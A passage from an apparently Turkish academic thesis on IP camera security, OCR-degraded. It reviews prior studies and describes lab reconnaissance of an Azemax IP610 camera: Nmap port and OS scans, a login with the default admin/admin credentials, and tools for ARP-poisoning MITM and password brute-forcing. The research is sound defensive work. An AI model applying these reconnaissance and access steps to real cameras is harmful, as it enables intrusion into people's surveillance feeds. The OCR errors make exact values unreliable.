bulundugu ¢ok sayida nesnelerin interneti cihazlari kullanilarak gergeklestirilmistir [43].

2.2. IP Tabanh Kameralarda Siber Giivenlik Uzerine Literatiir Taramasi

Nesnelerin interneti cihazlarindan, IP tabanli kameralarin ve goriintiilerin ele gegirilmesine
iligkin bircok yasanmis olay bulunmaktadir [44-47]. Bu kapsamda, bebek monitorleri ile ev
giivenliginden kritik alt yapilarin korunmasina kadar birgok alanda kullanilan IP tabanl
kameralarin giivenlik aciklari, olas1 saldirilar ile giivenlik ¢oziimleri {izerine yapilan

arastirmalar ve ¢alismalar incelenmistir.

Liu ve digerleri tarafindan yapilan calismada, IP tabanli video gdzetim sistemlerindeki veri
iletisimine yonelik verilerin gizliligi ve biitlinliigiiniin saglanmasi i¢in rastgele ayarlanabilen
bir sifreleme yontemi Onerilmis ve mevcut aragtirmalarin tehditleri ele almak i¢in yeterli

olmadig1 vurgulanmistir [48].

Park ve Jun yaptiklar1 caligmada, aga bagli ve IP tabanli CCTV sistemlerine yonelik
tehditlerden kotii niyetli kullanicilarin sistemlere erisimini engellemek amaciyla kullanici

kayd1 ve kimlik dogrulamasi i¢in iki gelismis giivenlik protokolii 6nermislerdir [49].

Coole ve digerleri tarafindan yapilan ¢alismada da kablosuz video gdzetim sistemlerinin
daha oOnce kapali olan sistemlere Onemli gilivenlik agig1 getirecegi belirtilmis, bilgi
giivenliginde kullanilan gizlilik, biitiinliik ve erisilebilirlik modeli kullanilarak bu giivenlik
aciklarinin kapali devre sistemlerdeki etkileri incelenmis ve IP tabanli sistemlerin

kullannminin siniflandirilmast ve bu tiir sistemlerdeki mevcut ve olasi giivenlik agiklarini
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kataloglamak icin daha fazla arastirma yapilmasi gerektigi vurgulanmistir [50].

Kim ve Han, akilli bir video izleme sisteminin giivenli ve emniyetli ¢alismasini saglamak
icin, video izleme sistemini; video toplama grubu, video depolama grubu, video kontrol
grubu, video uygulama grubu olmak {izere dort grupta tanimlayarak, tanimlanan giivenlik
tehditlerinin bu gruplardaki belirli giivenlik islevleriyle iliskilendirecek sekilde bir model
olusturmuglardir [51].

Campbell yaptig1 calismada, DCS 930L IP kamerasini, kimlik dogrulama mekanizmalariyla
ilgili glivenlik agiklar1 agisindan analiz edip, bunlara dayali olas1 saldirilar tartisarak ¢oziim

onerileri sunmustur [52].

Heffner tarafindan yapilan calismada, yetkisiz yonetim ve kok diizeyinde erisim yoluyla
hedef agda yer edinme ve kameranin goriintiilenmesi ile kameraya miidahale edilmesi i¢in
bu erisimden yararlanilmasi amaciyla kameralarin kendisinde c¢alisan temel koddaki

giivenlik agiklarina odaklanilmistir [53].

Tekeoglu ve Tosun ise kablosuz IP kamera tarafindan tretilen trafigi inceleyerek bulut
tabanli kablosuz IP kameralarin giivenligini arastirmis ve erigsim kontrol mekanizmalarini
degerlendirerek bircok giivenlik ve gizlilik sorunu belirlemisler ve koétii niyetli bir kisinin IP
kameranin ag trafigini tarayabildiginde, ciddi bir gizlilik sorunu olan JPEG goriintiilerini

yeniden olusturabilecegini gostermislerdir [38].

Obermaier ve Hutle g¢aligmalarinda bulut tabanli video gbzetim kameralarina tersine
miihendislik uygulayarak sistemlerin glivenliginin ve gizliliginin pratik bir analizini yapmis
ve yerel ag saldirgan ile uzak ag saldirgan olmak iizere iki saldirgan modeli {izerinden,
sistemlere fiziksel erisim olmadan, giivenlik agiklarindan yararlanilabilecegini

belirtmislerdir [54].

Costin yaptig1 calismada; video gozetim, kapali devre TV ve IP kamera sistemlerinin
gelistirilmesi, kurulmasi ve kullanilmasiyla iliskili giivenlik ve gizlilik risklerinin daha iyi
anlasilmas1 ve tanimlanmasi amaciyla, donanim, aygit yazilimi, ag iletisimleri ve video
gozetim sistemlerine yonelik tehdit ve onlemlerin sistematik bir incelemesini yapmis ve

video gozetim sistemlerinin giivenlik ve gizlilik yonlerini iyilestirebilecek Oneriler
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sunmustur [55].

Das ve Tuna yaptiklar1 ¢alisma ile Wireshark programi vasitasiyla ag kameralarinin ag paket
takibi ve analizi {izerine Ornek bir uygulama yapmis, Shodan ile ag kameralarinin
bulundugunu ve FOCA (Fingerprinting Organizations With Collected Archives)
kullanilarak da konumlarinin elde edilebildigini gostermis ve gizli tutulmasi gereken kisisel
bilgilerin ele gecirilip yasa dis1 amaglarla kullanilmasinin yiliksek bir potansiyel oldugunu

vurgulamiglardir [56].

Boyarinov ve Hunter ise bir IP kamera iizerinde giivenlik agiklarma iliskin yaptiklar1 ve
saldirilarin dogasini tartistiklart ¢aligmanin bu cihazlara iliskin risklerin anlagilmasi ve

azaltilmasi i¢in kullanilabilecegini belirtmislerdir [57].

Cusack ve Tian ¢aligmalarinda test ettikleri bir gozetleme kamerasinin bir¢ok gilivenlik
acigina sahip oldugunu belirterek, agiklara iliskin 6nlem alinmasinin aciliyetine vurgu

yapmiglardir [58].

Ling ve digerleri, 2017 yilinda yaptiklar1 calismada, nesnelerin interneti sistemine iliskin
uctan uca bir gériiniim sunarak bulutta nesnelerin interneti sistemi, yazilim, ag iletisimi ve
biiyiik veri analitigi a¢isindan giivenlik ve gizlilik gereksinimlerini incelemis ve IP tabanli
bir kameraya, uzaktan erisim politikalarina odaklanarak, farkli bir ag lizerinden, uzaktan
saldir1 gergeklestirip buna iliskin analiz yapmislardir [59], 2018 yilinda ise bu ¢alismaya
ilave olarak mikro denetleyicilerde nesnelerin internetinin giivenligi ve gizliligine iliskin

daha fazla ayrinti ile Mirai modellemesi yaparak simiilasyon sonuglarini paylagmislardir

[60].

Bugeja ve digerleri, akilli ev sistemlerinde kullanilan akilli kamera sistemlerinin muzdarip
oldugu zayif giivenlik uygulamalarinin kapsamini degerlendirmek iizere Shodan arama
motoru ile CVE (Ortak Giivenlik A¢ig1 veRiskler - Common Vulnerability and Exposures)
veritabanini kullanmig, 6nemli sayida akilli kameranin gergekten cesitli giivenlik ve gizlilik

aciklarina egilimli oldugu sonucuna ulagsmislardir [61].

Vlajic ve digerleri tarafindan yapilan ¢aligmada, 2016'daki Mirai saldirisinin, 6zellikle akilli

kameralar ve dijital video kayit cihazlar1 (DVR) olmak iizere ele gegirilmis nesnelerin
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interneti cihazlarinin, yikict DDoS potansiyelini gosterdigi ve bu cihazlardan yaklasik yarim
milyonunun o zamana kadar ki kaydedilen en biiyiikk ve en yikict DDoS saldirilarini
baslatmak i¢in kullanildig1 belirtilerek, basta Shodan olmak iizere nesnelerin interneti
cihazlarim listeleyen arama motorlarinin ortaya ¢ikmasiyla savunmasiz cihazlarin tespit
edilmesinin, onceden tahmin edilmesi ve Onlenmesi zor olan DDoS saldirilarinin
gerceklestirilmesinin kolaylastigi ve bu nedenle de diinya capinda nesnelerin interneti

cihazlarinin yoneticileri tarafindan ciddi 6nlemler alinmasi gerektigi vurgulanmistir [62].

Kim ve digerleri, IP kameralardaki kimlik dogrulama yontemi ile sifre ve kimlik bilgilerinin
elde edilmesi durumunda saldirgana kars1 savunmasiz olundugunu belirterek, bir cihazit DUI
(Cihaz Benzersiz Tanimlayici) kullanarak tanimlayan, kaydeden ve sadece yetkili cihazlarin

kimligini dogrulayan bir kimlik dogrulama yontemi onermislerdir [63].

Seralathan ve digerleri, nesnelerin interneti cihazlari i¢in 6nceki giivenlik analizlerinden elde
edilen sonugclara istinaden IP kamera tizerinde sifrelenmemis iletisim, video akisi i¢in brute
force yapilabilecek RTSP URL'si ve agik metinde saklanan IP kamera hesap kimlik bilgileri

acisindan kameranin giivenligindeki zayifliklart bulmaya yonelik ¢alisma yapmislardir [64].

Alharbi ve Aspinall yaptiklari calismada, nesnelerin interneti cihazlari i¢in ana odak
noktasinin akilli kameralar oldugunu ifade etmis, korunmasi gereken varliklari ise video
verileri, kisisel bilgiler ve fiziksel olarak kameranin kendisi seklinde belirleyip, bunlara

yonelik tehditleri ve saldirganlar siniflandirmis ve bir analiz ¢ergevesi onermislerdir [65].

Doughty ve digerleri yaptiklar1 ¢aligma ile bir suglunun, hirsizlik 6ncesinde ve sirasinda
kameralara nasil saldirabilecegini agiklamak i¢in bir tehdit senaryosu kullanarak, IP
kameralarin ARP (Adres Coziimleme Protokolil) zehirlenmesine veya sahtekarligina karsi
savunmasiz kaldigin1 ve bazi kameralarin sifreleri gizlemek icin 6zet kimlik dogrulamasi

kullandigini, bazi saticilarin ve uygulamalarin glivensiz kaldigini gostermislerdir [66].

Li ve digerleri, IP kameralarin bilgisayar korsanlar1 i¢in hedef oldugunu ve bu tehditlerin
risklerinin anlasilabilmesi igin IP kameralarin nerelerde ve ne kadar olduklarinin bilinmesi
gerektigini One siiren ¢alismalarinda akilli kameralar1 tespit etmek i¢in CAMHUNTER

ismini verdikleri bir model 6nermislerdir [67].
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Turtiainen ve digerleri de IP kameralara iliskin tartismalarin, raporlarin ve politikalarin
cogunun, gerceklere dayali olarak dogru olmayan veya saglam metodolojilere dayanmayan
varsayimlara ve sayilara dayanmakta oldugunu, 6rnegin su anda kag CCTV kameranin
konuslandirildigi ve kullanimda oldugu, bu kameralarin nerede bulundugu, bu kameralara
kimin sahip oldugu veya bu kameralar1 kimin calistirdig1 gibi konularda dogru ve kiiresel
bir anlayis olmadigini 6ne siirerek CCTV ve video gozetim kameralarini goriintiilerde ve
video ¢ercevelerinde dogru bir sekilde algilayabilen bilgisayar goriisii MS COCO uyumlu
modeller onermislerdir [68]. Yaptiklar1 ¢alismanin pozitif etki icin kullanilmak {izere
tasarlandigini ve Onerilen sistemin kotiiye kullanilma potansiyelinin Kali Linux, Metasploit
gibi diger herhangi bir sistemle, penetrasyon testi, tersine mithendislik gibi yontemle benzer
veya kiyas gotiiriir oldugunu savunmuslar ve olumlu etki uygulamalarinin ¢ogunlugu icin
sistemin faydalarmin, olumsuz etki uygulamalarinin bir kisminin koétiiye kullanim

risklerinden agir bastigini1 vurgulamiglardir.

Abdalla ve Varol yaptiklar1 ¢alismada IP kameralardaki giivenlik aciklarinin incelenmesi
amaciyla, kablosuz bir IP kameranin giivenlik bilesenlerini, baz1 sizma testi teknikleri ve
yontemleri araciligiyla incelemis ve glivenlik aciklarinin kullanicilarin giivenligi ve gizliligi

iizerindeki etkilerini belirtmislerdir [69].

Yapilan ¢aligmalarda da goriildiigi iizere kurum, kurulus, konutlarda ve 6zellikle kritik alt
yapilarin oldugu yerlerde uzaktan erisim ve yonetiminde yaygin olarak kullanilan IP tabanli
giivenlik kameralarina iliskin bir¢ok giivenlik acigindan bahsedilmektedir. Ancak giivenlik
sistemleri ve zararli yazilimlar her gecen gilin degismektedir. Gelisen sistemler ile dnceki
calismalarda yer alan ¢6ziim Onerilerinin kisith birakildigi da géz 6niinde bulundurularak
yeni bir incelemenin yapilmasi kaginilmaz olmustur. Bu tez calismasinda yukarida
bahsedilen ¢alismalardan farkli olarak sadece ayni1 agda olup, internet baglantis1 olan koti
niyetli birinin, IP tabanl kameralara kars1 saldir1 gelistirebileceginin dogru olup olmadigini
gostermek amaciyla internet {izerinde bulunabilen bilgiler kullanilarak, IP tabanli kameranin
gizlilik ve glivenlik riskleri analiz edilmis, literatiirde yapilan ¢alismalarla karsilastirilmis ve

bu cihazlara iliskin agiklik ve tehditlere kars1 ¢6ziim onerileri sunulmustur.
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3. UYGULAMA

IP tabanli kameralarin donanimi, iireticiye bagl olarak degisebilmekle birlikte donanim
mimarisinin maliyet verimliligi nedeniyle birden fazla iiretici arasinda paylasilabilmektedir.
Bu, tespit edilen donanim giivenlik aciginin farkli dreticilerin ¢esitli cihazlarini
etkileyebilmesine neden olabilmektedir. IP tabanli kameralarin bilesen seviyesindeki
donanimlar1 farkli olsa da, teorik islevsellik ve mimari genellikle birbirinin yerine
kullanilabilmektedir [70]. Bu nedenle yapilan calismada, IP tabanli kameralara saldiri
diizenlemek i¢in, tilkemizde kolaylikla temin edilebilen, Shenzhen Wanscam Tecnology
Co. Ltd. sirketi tarafindan tiretilen Azemax IP610 model ve Shenzhen Micro Star Electronic
Tecnology Co. Ltd. sirketi tarafindan tiretilen TRAX tr-100 model olmak iizere iki farkli IP
tabanli kamera kullanilmis olup, test ortami i¢cin Windows ve Debian igletim sisteminin
kuruldugu sanal bilgisayardan faydalanilmis ve kameralar ayr1 ayri zamanlarda teste tabi

tutulmustur. Sistem mimarisi Resim 3.1.’de gosterilmistir.
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Resim 3.1. Sistem mimarisi

Uygulama asamasinda oncelikle hedef sistem hakkinda bilgi toplama iglemi yapilmigtir.

Bilgi toplama, pasif ve aktif olmak {izere iki grupta uygulanabilmektedir.
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Pasif bilgi toplama, cihaza baglanmadan cihaz hakkinda internette, sosyal medyada, blog ve
tartisma forumlarinda, arama motorlarinda bilgi bulma yontemi olarak tanimlanmaktadir
[71]. Pasif bilgi toplama araglarindan biri olan, siber giivenlik aragtirmacilar1 ve
gelistiricilerine, giivenlik a¢ig1 bulunan internet baglantili cihazlar1 dogrudan taramadan
tespit etmeleri i¢in bir ara¢ saglayan Shodan arama motoru, zayif glivenlik mekanizmalarinin
uygulanmasi ve uygun bir giivenlik yapilandirmasinin olmamasi gibi yaygin siber giivenlik
sorunlariyla ilgili nesnelerin interneti cihazlarinda giivenlik aciklarinin tespitini saglayarak,
nesnelerin interneti sistemlerinde ve internete baglanmasi gereken uygulamalarda kullanilan
cihazlarda siber glivenlik denetimleri yapmak i¢in de kullanilmaktadir [72]. Genel kullanima
acik en biiylik giivenlik agig1 bilgi kaynaklarindan biri de MITRE sirketinde barindirilan,
ABD I¢ Giivenlik Bakanlig1 (U.S. Department of Homeland Security - DHS) ile Siber
Giivenlik ve Altyapr Giivenligi Ajansi1 (Cybersecurity and Infrastructure Security Agency -
CISA) tarafindan desteklenen, herkesin bildigi sorunlar i¢in, bilgi giivenligi aciklarinin ve
aciga ¢ikma durumlarinin bir listesinin, ortak numaralandirma ile arag, bellek veya servisler
gibi farkli giivenlik agig1 kategorilerinde paylasilmasini kolaylastiran CVE veri tabanidir
[73]. Pasif bilgi toplama islemi ulusal glivenlik aciklar1 veri tabani (National Vulnerabilities
Database - NVD), Rapid7 istismarlar veri taban1 (Rapid7 Exploits Database) gibi giivenlik
acig1 veritabanlar1 ile Snitch, OWASP ZAP, Skipfish ve benzeri araclar kullanilarak da
yapilabilmektedir [74].

Aktif bilgi toplama ise, port tarama teknikleri gibi cihazla dogrudan temas yoluyla
yapilabilen ve bir cihazda calisan isletim sistemi, servisler ve agik portlar gibi bilgileri
bulmak i¢in kullanilabilen bilgi toplama yontemi olarak tanimlanmaktadir [71]. Aktif bilgi
toplama asamasinda en ¢ok kullanilan ve fayda saglanilan araglardan biri Nmap olup, hedef
sistemde ac¢ik olan portlar, fiziksel cihaz tipleri, ¢aligma siireleri, kullanilan servisler,
yazilimlar ve siiriim detaylar1 gibi bilgiler alinabilmekte ve benzer sekilde Masscan,
Nslookup, Dig, Maltego, BruteX, TrackerJacker, Devploit3.6, Dmitry gibi araclarla da bilgi
edinilebilmektedir [75, 76].

Bilgi toplama islemlerine iligskin yapilan islemler ve edinilen sonuglar ilgili IP tabanli kamera

saldiris1 uygulama kisminda verilmistir.

Agik portlar, isletim sistemi siiriimii, cihazda calisan servisler hakkinda bilgi alindiktan

sonra toplanan bilgiler giivenlik agiklarini bulmak igin kullanilabilmektedir. Bu islem
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genellikle giivenlik acig1 tarayicist kullanilarak yapilmaktadir. Giivenlik agig1 tarayicisi
olarak Nmap kullanilabilecegi gibi, Nessus, OpenVAS, NexPose, Nikto, Netsparker gibi
farkli araclar da kullanilabilmektedir.

Sistemlerin agikliklarinin test edilmesi amaciyla kullanilan ve tim popiiler isletim
sistemlerinde mevcut olan, en etkili denetim araclarindan biri Metasploit olarak kabul
edilmekte olup, Metasploit ¢cok ¢esitli istismarlar ile kapsamli bir istismar gelistirme ortami,

bilgi toplama ve web testi yetenekleri sunmaktadir [77, 78].

Calismada kullanilan, Metasploit yazilimiin yapabileceklerini gorsel olarak kontrol
edebilme imkani saglayan bir saldir1 yoneticisi araci olan Armitage, Raphael Mudge
tarafindan olusturulmus ve hem Linux hem de Windows sistemlerde calisabilmesinin yani
sira kolay gilivenlik a¢1g1 yonetimi, yerlesik Nmap taramalari, bilinen giivenlik agiklari igin
kotiiye kullanimlart otomatik olarak dnerme ile Cortana komut dosyasi kullanarak 6zellikleri

otomatiklestirme yetenegi sunmaktadir [79-81].

Yerel agda saldirganin hedefi bir sekilde kurbanin trafigini ele ge¢irmek ya da manipiile
etmek olabilmekte, bu da ortadaki adam (MITM) saldirist ile yapilabilmektedir. Wi-Fi
aglari, bluetooth diisiik enerji cihazlari, kablosuz HID cihazlar1 (insan arayiiz cihazi) ve
ethernet aglar iizerinde bilgi toplamak ve saldirmak amaciyla giivenlik arastirmacilarina,
hepsi bir arada bir ¢6ziim sunmak i¢in yazilmis bir ¢cer¢eve olan Bettercap, MITM saldirisini
gergeklestirmek icin ARP ve DNS sahtekarligina iligkin saldirilarin simiile edilebilecegi bir
ortamdir [82].

Bilindigi gibi, bilgisayarlar ag igerisinde ARP ¢oziimleme mekanizmasimi kullanilarak
mantiksal IP adresini bildigi bir bilgisayarin fiziksel MAC adresini ARP tablosu iizerinden
ogrenmekte ve bu adres bilgileri ile bilgisayarlar ag icerisinde birbirleriyle
haberlesebilmektedir. Eger saldirgan ag icerisinde hedefin ve ag cihazinin ARP tablolarini
zehirleyebilirse, yani kendi MAC Adresini hedef bilgisayarin tablosuna “Ag Cihazt MAC
Adresi” olarak, ag cihazi ARP tablosuna ise “Hedef Bilgisayar MAC Adresi” olarak
yazdirabilirse araya girebilmektedir. MITM olarak adlandirilan bu durumda, hedef
bilgisayar ile ag cihazi arasinda bulunan trafik saldirganin lizerinden ge¢mekte ve saldirgan

bu trafigi dinleyebilmekte ve hatta degistirebilmektedir [83].
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Resim 3.2. Ortadaki adam saldirisi

Resim 3.2.’den de goriilebilecegi gibi, burada hedef cihazin modemden yapacagi istegi
saldir1 yapan bilgisayardan isteyip, istegin bu bilgisayar iizerinden yonlendiriciye iletilmesi,
modemden gelecek olan cevabin da saldiran bilgisayar iizerinden kurban bilgisayara
iletilmesi saglanmakta ve bu sayede de gelen ve giden trafigin goriilmesi ve incelenmesi

mimkin olabilmektedir.

OWASP tarafindan yayinlanan 2018 y1l1 nesnelerin interneti eko sistemini tehdit eden ilk on
zafiyet listesinde cihazlarin yonetiminde basit, tahmin edilir, herkesce erisilebilen veya
degistirilmeyen parola kullanimi ilk sirada bulunmaktadir [84]. Bununla birlikte,
saldirganlar tarafindan belirlenen ve internetten de erisilebilen bir¢ok kullanici adi ve parola
kombinasyonlarinin kullanilmasiyla cevrim icl parola kirma islemi
gergeklestirilebilmektedir. Parola kirma islemi, saldiran programin hedefe bir kullanic1 ad1

ve parola gondermesi saglanip, kullanici ad1 veya parola yanligsa, bir sonraki kullanici adi
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ve parola kombinasyonunu gondererek ve uygulamada bir oturum agma/parola
kombinasyonunu bulmada basarili oluncaya veya tiim tahminleri tiiketene kadar devam
etmesini saglayan araclarla gergeklestirilebilmektedir [85]. Sozliikk saldiris1 olarak
adlandirilan saldirida; kullanicinin kisisel bilgilerinden veya sozliik dosyalarindan edinilen
parolalar kullanilmakta olup, islemin siiresi ise kelime listesinin boyutu ile kurban tarafindan
uygulamada tercih edilen kullanici ad1 ve parolalarin kolaylig1 ve tahmin edilebilirligine
baghdir [86]. Kaba kuvvet (brute force) saldirisinda ise dogru parolay1 elde edebilmek igin,
parolanin boyutunu ve igerigini tahmin etmek amaciyla tekrarli olarak deneme yanilma
yoluyla saldir1 gergeklestirilmektedir [87]. Kaba kuvvet saldirinda olasi biitiin
kombinasyonlar denendigi i¢in zaman alabilmekte olup, bu saldiriy1 gergeklestirmek igin
hydra, medusa, Cain&Abel, John the Ripper gibi ara¢ ve uygulamalar kullanilabilmektedir
[88].

Sistem tasarimlarinda tiim sistemi kontrol edebilen bir root kullanicist bulunmakta ve
sistemler uzak ya da yerel root erisim zayifligi sorunu igerebilmektedir. Root erigim
haklarinin elde edilmesi ise sistemi her yoniiyle ele ge¢irmek anlamina gelmektedir. Linux
sistemlerde kullanici hesap bilgileri /etc/passwd dosyasinda saklanirken, kullanict adlar ve
sifrelenmis parolalar /etc/shadow dosyasinda bulunmaktadir [88]. Uzaktan sunucu baglantisi
icin kullanilan protokol olan telnet ile dosya transferi i¢in kullanilan FTP (dosya aktarim
iletisim protokolii), agik metin protokoller olup, bu servislerle olan ag trafik paketi ele
gecirildiginde, dogrudan kimlik bilgileri veya komutlar okunabilmekte ve cihaz iizerindeki
donanimdan bagimsiz olarak dosya ve klasor listeleme, silme, ekleme, degisiklik komutlar1

caligtirilabilmektedir [89].

Bolim 3.1 ve 3.2°de burada anlatilan yontem ve araglar kullanilarak saldirilar

gergeklestirilmis, elde edilen sonuglar paylasiimistir.

3.1. AZEMAX Marka Kameraya Yonelik Uygulama

Bu béliimde, Shenzhen Wanscam Tecnology Co. Ltd. sirketi tarafindan iiretilen Azemax

[P610 model IP tabanli kamera {izerine yapilan calismaya yer verilmistir.

Azemax kamera tasariminda, onde bir adet kamera, ¢evresinde kizil Gtesi ledler, altta bir

mikrofon, arka tarafta Wi-Fi anten, antenin altinda microsd kart yuvasi ile antenin yaninda
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gii¢ adaptorii takilabilecek bir giris ve bunun yaninda da ag kablosunun baglanacagi alan ile

altinda tripod yuvasi bulunmaktadir.

‘LJ (\"'/0

= (8 4
e —

Resim 3.3. Azemax IP610 model IP kamera

Resim 3.4. Azemax IP610 model IP kamera cihaz i¢i goriintiisii

Oncelikle, cihazin test edilmesi igin kameranm gerektigi gibi ¢alisip ¢alismadigi kontrol
edilmigstir. Cihazin altindaki sifirlama diigmesine basilarak kamera fabrika ayarlarina
sifirlanmis, ardindan kullanma kilavuzunda anlatildig1 sekilde mobil telefona IPC View

uygulamasi yiiklendikten sonra goriintii elde edilmistir (Resim 3.5.).
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Resim 3.5. Mobil telefondan elde edilen goriintii

Ardindan kali makinesinin IP adresi tespit edilip, i¢inde bulunulan ag taranip hangi
cihazlarin bagh oldugu belirlenmis ve kameranin IP adresi tespit edilmistir (Resim 3.6. —

Resim 3.7.).

rootakali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.24 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fe36:4292 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:36:42:92 txqueuelen 1000 (Ethernet)
RX packets 4755 bytes 288535 (281.7 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 10610 bytes 638885 (623.9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 512898 bytes 21572108 (20.5 MiB)
RX errors © dropped @ overruns @ frame @
TX packets 512898 bytes 21572108 (20.5 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Resim 3.6. Kali makinesinin IP adresinin tespitine iliskin ekran goriintiisii
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Nmap scan report for 192.168.0.22

Host is up (0.0042s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

80/tcp open http

554/tcp open rtsp

1935/tcp open rtmp

8080/tcp open http-proxy

MAC Address: 00:0E:00:02:64:EC (Atrie)

Resim 3.7. IP kameranin IP adresi bilgisine iligkin ekran goriintiisii

Daha sonra, web kullanici ara yiiziinde kameranin altindaki etikette bulunan ve "admin"
kullanict ad1 ve "admin" parolast olan varsayilan kimlik bilgileriyle oturum agilmistir. Web
kullanict ara yiiziine basariyla erisilebilmis, web sayfasi lizerinden de goriintii elde edilmis,

cihaza ve aga iliskin bilgilere ulasilmistir (Resim 3.8., Resim 3.9., Resim 3.10., Resim 3.11.).

IP Caneral

Z020-05-30 20:24:09

oman T
Dpi  Biinci yay
PTZOran
Parlakiik .
Kontrast
Doyguniuk
Keskinlik

Ara ayar on ayarlar i.

Varsayilaniar

XK

Resim 3.8. Web kullanici ara yiiziinde elde edilen kamera goriintiisti
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Cihaz bilgisi
Zaman ayar
Video ayarian
Ses Ayarlan
Kayit Ayarlan
Email

FTP

Sistem Kayrtlan
Network Ayarlan
Wireless

DODNS Ayarlan
PTZ ayar
Kullanici ayarian
Bakim

ONVIF

Otomatik Snap
Resim

Geri

Resim 3.9. Web kullanici ara yliziinde elde edilen kablosuz ayarlar1 ekran goriintiisii

LAN Ayarlan

Dinamik IP Adres hd
DHCP Serverdan =]

Cihaz bilgisi

V7.1.4.1.13-20160204

E-411.720.21

00:0E:00:02:64:EC

192.168.0.22

255.255.255.0

192.168.0.1

Cihaz bilgisi
Zaman ayar
Video ayarlan
Ses Ayarlan
Kayit Ayarlan
Email

FTP

Sistem Kayrtian
Network Ayarlari
‘Wireless
DDDNS Ayarlan
PTZ ayar
Kullamici ayarlan
Bakim

ONVIF

Otomatik Snap
Resim

Geri

Cihaz bilgisi
Zaman ayar
Video ayarlan
Ses Ayarlar
Kayit Ayarlan
Email

FTP

Sistem Kayitlari
Network Ayarlan
Wireless

DDDNS Ayarlan
PTZ ayar
Kullanic: ayarlar
Bakim

ONVIF

Otomatik Snap
Resim

Geri

Resim 3.11. Web kullanici ara yiiziinde elde edilen cihaz bilgisi ekran goriintiisii
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3.1.1. Bilgi toplama

Yapilan arastirmalarda gerek literatiir taramasinda gerekse internet sitelerinde Azemax IP
610 model IP kameralar i¢in herhangi bir aciklik kaydi bulunamamis olup, Wanscam
ireticisinin farkli bir kamerasi i¢in iki adet gilivenlik agig1 tespit edilmistir. Wanscam
HWO0021 IP kameralarda isletim sistemi ile ilgili kismi bir hizmet reddi giivenlik agig1
bulunmakta oldugu ve saldirganin, boyle bir cihazda ONVIF hizmetini ¢okertmek i¢in koti
amacli bir POST istegi yapabilecegi ve ayni giivenlik agigiin bu isletim sistemini kullanan
farkl cihazlarda da gecerli oldugu belirtilmistir [90]. Ayrica Wanscam'in HW0021 IP tabanli
kamerasinda, kimligi dogrulanmamis bir uzak saldirganin bir ONVIF GetSnapshotUri istegi
araciligtyla yonetici kullanici adi ve parolasina erismesine izin veren bir bilgi sizintis1 oldugu

da belirtilmistir [91].

Saldir1 yapmak i¢in agik port olup olmadigini gérebilmek amaciyla 1 ile 65535 arasindaki
portlari, cihazin IP adresi ile Nmap kullanarak bir port taramasi yapilmis ve asagidaki ekran

goriintlisti alinmistir (Resim 3.12.).

rootgkali:~# nmap -p 1-65535 192.168.0.22
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-3@ 15:04 EDT
Nmap scan report for 192.168.08.22

Host is up (©.015s latency).

Mot shown: 65531 closed ports

PORT STATE SERVICE

B0/tcp open http

554/tcp open rtsp

1935/tcp open rtmp

8080/tcp open http-proxy

MAC Address: 00:QE:00:02:64:EC (Atrie)

Nmap done: 1 IP address (1 host up) scanned in 34.71 seconds

Resim 3.12. Nmap port taramasi sonucu ekran ¢iktisi

Taranan portlarda, agik olan dort TCP portu iizerinde galisan dort farkli servisin yer aldigi
goriilmektedir. 80 numarali portta HTTP, 554 numarali portta RTSP, 1935 numarali portta
RTMP ve 8080 numarali portta http-proxy servislerinin calistigi anlagilmakta olup, IP
tabanli kameraya ait MAC adresinin 00:E0:00:02:64:EC oldugu, iireticisinin ise Atrie olarak
belirtildigi goriilmektedir.
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Cihaz ve isletim sistemi hakkinda daha ayrintil1 bilgi edinmek i¢in -O secenegi ile baska bir

Nmap taramasi yapilmis ve asagidaki sonug alinmistir (Resim 3.13.).

rootokali:~# nmap -0 192.168.0.22

Starting Nmap 7.80 ( https://nmap.org ) at 2020-85-3@ 15:13 EDT
Nmap scan report for 192.168.0.22

Host is up (@.0056s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

80/tcp open http

554/tcp open rtsp

1935/tcp open rtmp

808@/tcp open http-proxy

MAC Address: Q0:QE:@0:02:64:EC (Atrie)

Device type: general purpose

Running: Linux 2.6.X|3.X

0S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:Llinux_kernel:3
05 details: Linux 2.6.32 - 3.5

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 4.56 seconds

Resim 3.13. Cihaz ve isletim sistemi hakkinda Nmap taramasi sonucu ekran ¢iktisi

Nmap taramasindan elde edilen sonuglar, cihaz tiirliniin genel amaglh ve Linux ¢ekirdegi

2.6.32 -3.5 calistirllarak kategorize edildigini gostermektedir.

Model, isletim sistemi ve cihazda hangi servislerin mevcut oldugu hakkinda ayrmtili bilgi
icin Nmap komutu; -v, -A ve -sV segenekleriyle bir kez daha galistiril ve Resim 3.14’teki

sonuglar elde edilmistir.

rootakali: ~4|E Al 192 . 168.0.22

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 15:17 EDT
NSE: Loaded 151 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 15:17

Completed NSE at 15:17, ©0.0@s elapsed

Initiating NSE at 15:17

Completed NSE at 15:17, ©0.00s elapsed

Initiating NSE at 15:17

Completed NSE at 15:17, 0.00s elapsed

Initiating ARP Ping Scan at 15:17

Scanning 192.168.0.22 [1 port]

Completed ARP Ping Scan at 15:17, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolutionm of 1 host. at 15:17

Completed Parallel DNS resolution of 1 host. at 15:17, ©0.02s elapsed
Initiating SYN Stealth Scan at 15:17

Scanning 192.168.0.22 [1000 ports]

Discovered open port 808@/tcp on 192.168.8.22

Discovered open port 80/tcp on 192.168.0.22

Discovered open port 554/tcp on 192.168.0.22

Discovered open port 1935/tcp on 192.168.0.22

Completed SYN Stealth Scan at 15:17, 1.61s elapsed (1000 total ports)
Initiating Service scan at 15:17

Scanning 4 services on 192.168.0.22

